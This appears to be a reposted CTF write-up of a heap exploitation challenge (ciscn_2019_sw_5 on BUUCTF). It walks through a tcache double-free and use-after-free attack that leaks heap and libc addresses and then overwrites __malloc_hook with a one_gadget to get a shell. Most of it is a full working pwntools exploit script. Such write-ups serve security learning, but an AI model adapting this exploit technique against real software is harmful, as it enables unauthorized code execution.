buuctf ciscn_2019_sw_5

ciscn_2019_sw_5

拿到题目,首先查看保护
在这里插入图片描述
正常操作,保护全开
打开ida,发现是一道标准菜单题
在这里插入图片描述
接下来主要对add和delete函数进行分析
在这里插入图片描述
固定申请0x70大小的堆块,并打印堆块内容
在这里插入图片描述
在这里插入图片描述

只能free3次,且存在uaf漏洞

具体思路如下:
首先,连续free两次,构造double free
然后,劫持fd指针到heapbase+0x30位置,劫持tcache结构体,并泄漏heap地址。此处需要爆破得到heapbase,有1/16的可能性
其次,将tcache结构体中保存堆块大小的地址劫持为7,并劫持tcache 0x80位置的堆块指针为heapbase+0x20,伪造chunk大小为0x231。free伪造大小的chunk,进入unsorted bin,接着申请泄漏libc地址,同时继续劫持tcache 0x80位置的堆块指针为heapbase+0x20。
最后,再次劫持tcache 0x80位置堆块指针为malloc_hook,并覆盖为one_gadget,直接get shell。

具体wp如下:


from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

fn = './ciscn_2019_sw_5'
elf = ELF(fn)
libc = ELF('/home/lst/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6')

debug = 0
if debug:
    p = remote('node4.buuoj.cn', 27417)
else:
    p = process(fn)

def menu(index):
    p.sendlineafter('>> ', str(index))


def add(title, content):
    menu(1)
    p.sendafter('title:', title)
    p.sendafter('content:', content)


def delete(index):
    menu(2)
    p.sendlineafter('index:', str(index))


def attack():
    add('p2lst', 'aaaa')    # 0
    add('p2lst', 'aaaa')    # 1
    add('p2lst', 'aaaa')    # 2

    delete(0)
    delete(0)

    add(p8(0x30) + p8(0x90), 'aaaa')    # 3

    heap_base = u64(p.recvuntil('aaaa')[-11:-5].ljust(8, '\x00')) - 0x30
    log.success('heap_base: ' + hex(heap_base))

    add('p2lst', 'aaaa')    # 4
    add(p8(0x7) * 8, p8(0x7) * 0x28 + p64(0) * 4 + p64(heap_base + 0x20))    # 5

    add(p64(0), p64(0x231))  # 6
    delete(5)

    add('a', p8(0x7) * 0x18 + p64(0) * 6 + p64(heap_base + 0x20))   # 7

    libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x3ebe61
    log.success('libc_base: ' + hex(libc_base))
    malloc_hook = libc_base + libc.sym['__malloc_hook']

    gadgets = [0x4f2c5, 0x4f322, 0x10a38c]
    one_gadget = libc_base + gadgets[1]

    add(p8(0x7) * 8, p8(0x7) * 0x28 + p64(0) * 6 + p64(malloc_hook))    # 8

    add(p64(one_gadget), 'aaaa')    # 9

    gdb.attach(p)

    menu(1)

    p.interactive()


if __name__ == '__main__':
 while True:
     try:
         # p = remote('node4.buuoj.cn', 27417)
         p = process(fn)
         attack()
         break
     except:
         p.close()
         continue

最后附上打通截图
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_51480590/article/details/126291793